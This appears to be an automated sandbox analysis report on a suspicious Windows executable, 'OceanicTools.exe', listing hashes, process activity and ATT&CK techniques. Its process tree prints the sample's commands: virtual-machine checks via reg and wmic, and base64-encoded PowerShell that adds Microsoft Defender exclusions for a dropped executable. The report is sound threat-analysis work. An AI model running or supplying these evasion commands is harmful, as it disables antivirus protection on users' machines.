ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af

Analysis

max time kernel
147s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12-10-2024 23:27

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General

Target

OceanicTools.exe
Size

22.2MB
MD5

f975ef6b34160bff3ba3c8c815f9e77c
SHA1

4b818a41b68f8ed6f6719db14e19f955a60aebe8
SHA256

ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af
SHA512

ba08c564b363affea6c39394955feb327a6c15cde9a5b83806088fcfdb4b4464deb24dcbca0e2cb5f26ae9172d7c8fb94ed58e0a534bf21deb4957363f67a222
SSDEEP

98304:XHE3AU4FiZ0ZXawT/2MMlOLG9ffkTj8cywcAk:U3u0Z0EdM1LGdUjKA

Score

8^/10

execution

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2620	cppshbrfzklskolg.exe

Loads dropped DLL 6 IoCs

pid	Process
2508	OceanicTools.exe
2508	OceanicTools.exe
2672	WerFault.exe
2672	WerFault.exe
2672	WerFault.exe
2672	WerFault.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe
2724	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2324	powershell.exe
2724	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2400	wmic.exe
Token: SeSecurityPrivilege	2400	wmic.exe
Token: SeTakeOwnershipPrivilege	2400	wmic.exe
Token: SeLoadDriverPrivilege	2400	wmic.exe
Token: SeSystemProfilePrivilege	2400	wmic.exe
Token: SeSystemtimePrivilege	2400	wmic.exe
Token: SeProfSingleProcessPrivilege	2400	wmic.exe
Token: SeIncBasePriorityPrivilege	2400	wmic.exe
Token: SeCreatePagefilePrivilege	2400	wmic.exe
Token: SeBackupPrivilege	2400	wmic.exe
Token: SeRestorePrivilege	2400	wmic.exe
Token: SeShutdownPrivilege	2400	wmic.exe
Token: SeDebugPrivilege	2400	wmic.exe
Token: SeSystemEnvironmentPrivilege	2400	wmic.exe
Token: SeRemoteShutdownPrivilege	2400	wmic.exe
Token: SeUndockPrivilege	2400	wmic.exe
Token: SeManageVolumePrivilege	2400	wmic.exe
Token: 33	2400	wmic.exe
Token: 34	2400	wmic.exe
Token: 35	2400	wmic.exe
Token: SeIncreaseQuotaPrivilege	2400	wmic.exe
Token: SeSecurityPrivilege	2400	wmic.exe
Token: SeTakeOwnershipPrivilege	2400	wmic.exe
Token: SeLoadDriverPrivilege	2400	wmic.exe
Token: SeSystemProfilePrivilege	2400	wmic.exe
Token: SeSystemtimePrivilege	2400	wmic.exe
Token: SeProfSingleProcessPrivilege	2400	wmic.exe
Token: SeIncBasePriorityPrivilege	2400	wmic.exe
Token: SeCreatePagefilePrivilege	2400	wmic.exe
Token: SeBackupPrivilege	2400	wmic.exe
Token: SeRestorePrivilege	2400	wmic.exe
Token: SeShutdownPrivilege	2400	wmic.exe
Token: SeDebugPrivilege	2400	wmic.exe
Token: SeSystemEnvironmentPrivilege	2400	wmic.exe
Token: SeRemoteShutdownPrivilege	2400	wmic.exe
Token: SeUndockPrivilege	2400	wmic.exe
Token: SeManageVolumePrivilege	2400	wmic.exe
Token: 33	2400	wmic.exe
Token: 34	2400	wmic.exe
Token: 35	2400	wmic.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2404	2508	OceanicTools.exe	31
PID 2508 wrote to memory of 2404	2508	OceanicTools.exe	31
PID 2508 wrote to memory of 2404	2508	OceanicTools.exe	31
PID 2508 wrote to memory of 2400	2508	OceanicTools.exe	32
PID 2508 wrote to memory of 2400	2508	OceanicTools.exe	32
PID 2508 wrote to memory of 2400	2508	OceanicTools.exe	32
PID 2508 wrote to memory of 2324	2508	OceanicTools.exe	34
PID 2508 wrote to memory of 2324	2508	OceanicTools.exe	34
PID 2508 wrote to memory of 2324	2508	OceanicTools.exe	34
PID 2508 wrote to memory of 2724	2508	OceanicTools.exe	36
PID 2508 wrote to memory of 2724	2508	OceanicTools.exe	36
PID 2508 wrote to memory of 2724	2508	OceanicTools.exe	36
PID 2508 wrote to memory of 2620	2508	OceanicTools.exe	38
PID 2508 wrote to memory of 2620	2508	OceanicTools.exe	38
PID 2508 wrote to memory of 2620	2508	OceanicTools.exe	38
PID 2620 wrote to memory of 2672	2620	cppshbrfzklskolg.exe	40
PID 2620 wrote to memory of 2672	2620	cppshbrfzklskolg.exe	40
PID 2620 wrote to memory of 2672	2620	cppshbrfzklskolg.exe	40

C:\Users\Admin\AppData\Local\Temp\OceanicTools.exe
"C:\Users\Admin\AppData\Local\Temp\OceanicTools.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\system32\reg.exe
  "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"
  2⤵
  PID:2404
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "computersystem" "get" "manufacturer"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcQWRtaW5ca29iaHZxbWxiZXZzemZ2cyI=')); Invoke-Expression $cmd"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcQWRtaW5ca29iaHZxbWxiZXZzemZ2c1xjcHBzaGJyZnprbHNrb2xnLmV4ZSI=')); Invoke-Expression $cmd"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Users\Admin\kobhvqmlbevszfvs\cppshbrfzklskolg.exe
  "C:\Users\Admin\kobhvqmlbevszfvs\cppshbrfzklskolg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2620 -s 28
    3⤵
    - Loads dropped DLL
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
018e685ace81360b0065c76153bc2c1f

SHA1
4f60a9ec1741e2b0ff5307e039be95d07649f45e

SHA256
0e4eb5cf99f167d512243203b59b0c466fefedf91eb2839507c44560bcfd33e4

SHA512
53856818fb273a804d59e7c191fbdfa58b56ef3c3070af56f92ec1f6b5fa36c646a740483b1574bc3d378d0390947cb63a8eafb5dfada8b908b48c4704df0ca6

Download Submit
\Users\Admin\kobhvqmlbevszfvs\cppshbrfzklskolg.exe

Filesize
2.6MB

MD5
0c01cfc0685211b3c655c7a9526f1849

SHA1
864d23804b6e3c98efd1b56863a484b505ddf40b

SHA256
8d6ee227c57e825bc978db47c7587d46e7df06e3656d493486ee26b1426c98a6

SHA512
6024a41f371d77a82608c0e8ff314853404a50decb77838ace61c43a72ef954f4a227849b85e2aa3ef0749120e8361f13145006652596fb22b2f972bf7585719

Download Submit
memory/2324-4-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/2324-5-0x0000000002B30000-0x0000000002B38000-memory.dmp

Filesize
32KB

Download
memory/2620-24-0x000000013FEB0000-0x0000000140156000-memory.dmp

Filesize
2.6MB

Download
memory/2724-12-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2724-13-0x00000000023C0000-0x00000000023C8000-memory.dmp

Filesize
32KB

Download